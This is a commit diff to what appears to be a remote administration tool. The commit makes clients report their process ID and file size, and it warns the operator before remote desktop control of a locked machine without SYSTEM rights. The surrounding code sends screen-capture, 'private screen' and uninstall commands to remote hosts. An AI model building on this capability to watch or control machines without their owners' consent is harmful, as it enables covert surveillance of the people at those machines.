Improve: Notify user if remote desktop control may be failed

This commit is contained in:
shaun
2026-01-22 10:48:30 +01:00
parent 895ac3f54c
commit abd1855633
5 changed files with 49 additions and 3 deletions

View File

@@ -85,6 +85,9 @@ DWORD WINAPI StartClientApp(LPVOID param)
SAFE_CLOSE_HANDLE(hThread);
if (IsProcessExit()) // process exit
break;
if (app->m_bShared) {
WAIT_n(!IsProcessExit(), 5, 200);
}
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
}

View File

@@ -337,6 +337,12 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne
sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY);
LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率
LoginInfor.AddReserved(clientID.c_str()); // 客户端路径
LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID
char fileSize[32];
double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0;
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小
return LoginInfor;
}

View File

@@ -797,6 +797,8 @@ enum LOGIN_RES {
RES_ISADMIN = 14, // 是否具有管理员权限
RES_RESOLUTION = 15, // 屏幕分辨率
RES_CLIENT_ID = 16, // 客户端唯一ID
RES_PID = 17, // 进程ID
RES_FILESIZE = 18, // 文件大小
RES_MAX,
};

View File

@@ -1914,9 +1914,31 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// 是否继续远程控制如果选择多个则继续如果选择单个且用户锁屏无SYSTEM权限则提示
BOOL CMy2015RemoteDlg::ShouldRemoteControl() {
context* ContextObject = nullptr;
EnterCriticalSection(&m_cs);
int count = m_CList_Online.GetSelectedCount();
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
CString activeWnd, userName;
if (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
ContextObject = (context*)m_CList_Online.GetItemData(iItem);
activeWnd = m_CList_Online.GetItemText(iItem, ONLINELIST_LOGINTIME);
userName = ContextObject->GetAdditionalData(RES_USERNAME);
}
LeaveCriticalSection(&m_cs);
if (count == 1 && userName != "SYSTEM" && activeWnd.Find("Locked") == 0) {
if (IDYES != MessageBoxA("计算机已经被用户锁屏,程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制,是否继续?", "提示", MB_YESNO))
return FALSE;
}
return TRUE;
}
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
{
if (!ShouldRemoteControl())
return;
int n = THIS_CFG.GetInt("settings", "DXGI");
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
@@ -3564,6 +3586,8 @@ void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
void CMy2015RemoteDlg::OnOnlineGrayDesktop()
{
if (!ShouldRemoteControl())
return;
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen") };
SendSelectedCommand(bToken, sizeof(bToken));
}
@@ -3571,6 +3595,8 @@ void CMy2015RemoteDlg::OnOnlineGrayDesktop()
void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
{
if (!ShouldRemoteControl())
return;
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen") };
SendSelectedCommand(bToken, sizeof(bToken));
}
@@ -3578,6 +3604,8 @@ void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
void CMy2015RemoteDlg::OnOnlineH264Desktop()
{
if (!ShouldRemoteControl())
return;
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen") };
SendSelectedCommand(bToken, sizeof(bToken));
}
@@ -3672,13 +3700,16 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
};
CString processInfo;
if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
processInfo.Format("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
}
// 拼接内容
CString strText;
std::string expired = res[RES_EXPIRED_DATE];
expired = expired.empty() ? "" : " Expired on " + expired;
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"),
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + "", res[RES_FILE_PATH], res[RES_EXE_VERSION],
strText.Format(_T("文件路径: %s%s %s%s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"),
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + "", res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]", GetElapsedTime(startTime),
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]);
@@ -4126,6 +4157,9 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
{
if (!ShouldRemoteControl())
return;
std::string masterId = GetPwdHash(), hmac = GetHMAC();
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };

View File

@@ -197,6 +197,7 @@ public:
static DWORD WINAPI StartFrpClient(LPVOID param);
void ApplyFrpSettings();
bool CheckValid(int trail = 14);
BOOL ShouldRemoteControl();
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
void Release();